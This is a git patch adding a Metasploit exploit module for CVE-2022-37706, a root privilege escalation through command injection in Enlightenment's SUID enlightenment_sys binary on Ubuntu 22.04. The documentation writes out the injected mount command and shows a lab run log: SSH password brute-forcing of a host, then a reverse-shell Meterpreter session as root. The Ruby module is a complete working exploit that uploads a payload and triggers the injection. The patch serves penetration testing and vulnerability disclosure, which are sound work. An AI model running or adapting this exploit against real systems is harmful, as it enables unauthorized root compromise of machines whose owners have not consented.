From e78babea90465954268ce9cb28c699b5cf817841 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Oct 2022 11:24:29 -0400 Subject: [PATCH] cve-2022-37706 --- .../ubuntu_enlightenment_mount_priv_esc.md | 124 ++++++++++++++++++ .../ubuntu_enlightenment_mount_priv_esc.rb | 122 +++++++++++++++++ 2 files changed, 246 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md create mode 100644 modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb diff --git a/documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md b/documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md new file mode 100644 index 0000000000..30a3ab3172 --- /dev/null +++ b/documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +This module exploits a command injection within Enlightenment's +`enlightenment_sys` binary. This is done by calling the mount +command and feeding it paths which meet all of the system +requirements, but execute a specific path as well due to a +semi-colon being used. +This module was tested on Ubuntu 22.04.1 X64 Desktop with +enlightenment 0.25.3-1 (current at module write time) + +### Install + +At the time of writing, it was possible to `apt install enlightmentent` to +get a vulnerable version. + +### Main Command Explanation + +The main exploit command will look similar to the following (using `/tmp/exploit` as the payload path example): + +`/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net` + +This can be broken down in to several parts: + +1. `/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys` +2. `/bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u)` +3. `"/dev/../tmp/;/tmp/exploit"` +4. `/tmp///net` + +The first part calls the vulnerable executable which has `suid` set to root. + +The second portion is a standard mount, command. `enlightenment_sys` has a fork in the code +for `mount`, which has the vulnerability in it. + +The third portion starts with `/dev/` to prevent the binary from exiting. It is wrapped in +double quotes, which are later removed by `enlightenment_sys` before running the command +resulting in the command injection. + +Lastly `enlightenment_sys` checks that the last parameter is length 6, thus the extra `/`. +It then calls `stat64` on `/tmp///net` and we pass that check. + +Now that all the checks have passed and the exploit code should go down the path to a `system` +call. Again, the quotes are removed around `"/dev/../tmp/;/tmp/exploit"` , allowing for the `;` +to be relevant and cause a command injection. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get a userland shell +4. Do: `use exploits/linux/local/ubuntu_enlightenment_mount_priv_esc` +5. Do: `set session #` +6. Set payload and options for payload as needed +7. Do: `run` +8. You should get a root shell. + +## Options + +### WritableDir + +A directory which is writable to drop our payload in. Defaults to `/tmp` + +## Scenarios + +### Ubuntu 22.04.1 Desktop with Enlightenment 0.25.3-1 + +Step 1, get a userland shell + +``` +resource (enlightenment.rb)> use auxiliary/scanner/ssh/ssh_login +resource (enlightenment.rb)> set username ubuntu +username => ubuntu +resource (enlightenment.rb)> set password ubuntu +password => ubuntu +resource (enlightenment.rb)> set rhosts 192.168.2.31 +rhosts => 192.168.2.31 +resource (enlightenment.rb)> run +[*] 192.168.2.31:22 - Starting bruteforce +[+] 192.168.2.31:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux ubuntu2204desktop 5.15.0-43-generic #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ' +[*] SSH session 1 opened (192.168.2.199:35675 -> 192.168.2.31:22) at 2022-10-01 10:02:53 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +Step 2, run exploit + +``` +resource (enlightenment.rb)> use exploits/linux/local/ubuntu_enlightenment_mount_priv_esc +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +resource (enlightenment.rb)> set session 1 +session => 1 +resource (enlightenment.rb)> set verbose true +verbose => true +msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > run + +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: +[*] Started reverse TCP handler on 192.168.2.199:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Found binary: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys +[+] It's set for SUID +[+] The target appears to be vulnerable. +[*] Finding enlightenment_sys +[+] Found binary: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys +[+] It's set for SUID +[*] Writing '/tmp/.7n09J2bt6' (250 bytes) ... +[*] Max line length is 65537 +[*] Writing 250 bytes in 1 chunks of 735 bytes (octal-encoded), using printf +[*] Creating folders for exploit +[+] Found binary: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys +[+] It's set for SUID +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045348 bytes) to 192.168.2.31 +[*] Meterpreter session 2 opened (192.168.2.199:4444 -> 192.168.2.31:54700) at 2022-10-01 10:03:12 -0400 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.2.31 +OS : Ubuntu 22.04 (Linux 5.15.0-43-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb b/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb new file mode 100644 index 0000000000..1e942fcec2 --- /dev/null +++ b/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Linux::Priv + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ubuntu Enlightenment Mount Priv Esc', + 'Description' => %q{ + This module exploits a command injection within Enlightenment's + enlightenment_sys binary. This is done by calling the mount + command and feeding it paths which meet all of the system + requirements, but execute a specific path as well due to a + semi-colon being used. + This module was tested on Ubuntu 22.04.1 X64 Desktop with + enlightenment 0.25.3-1 (current at module write time) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'MaherAzzouzi' # discovery, poc + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit' ], + [ 'URL', 'https://twitter.com/maherazz2/status/1569665311707734023' ], + [ 'CVE', '2022-37706' ] + ], + 'DisclosureDate' => '2022-09-13', + 'DefaultTarget' => 0, + # https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def find_enlightenment_sys + enlightenment_sys = '/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys' + if file_exist?(enlightenment_sys) + vprint_good("Found binary: #{enlightenment_sys}") + if setuid?(enlightenment_sys) + vprint_good("It's set for SUID") + # at this time there doesn't seem to be any other way to check if it'll be exploitable + # like a version number as a patch hasn't been released yet + return enlightenment_sys + else + return nil + end + else + vprint_status('Manually searching for exploitable binary') + # https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7 + return cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1') + end + end + + def check + enlightenment_sys = find_enlightenment_sys + return CheckCode::Safe('An exploitable enlightenment_sys was not found on the system') if enlightenment_sys.nil? + + CheckCode::Appears + end + + def exploit + # Check if we're already root + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + print_status('Finding enlightenment_sys') + enlightenment_sys = find_enlightenment_sys + if enlightenment_sys.nil? + fail_with Failure::NotFound, "#{base_dir} is not writable" + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + dev_path = "/dev/../tmp/;#{payload_path}" + register_files_for_cleanup(payload_path) + + print_status('Creating folders for exploit') + cmd_exec('rm -rf /tmp/net; mkdir -p /tmp/net') + cmd_exec("mkdir -p \"#{dev_path}\"") + # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the + # output from the exploit being run, they can optionally see it + enlightenment_sys = find_enlightenment_sys + print_status 'Launching exploit...' + timeout = 10 + cmd_exec("#{enlightenment_sys} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \"#{dev_path}\" /tmp///net", nil, timeout) + end +end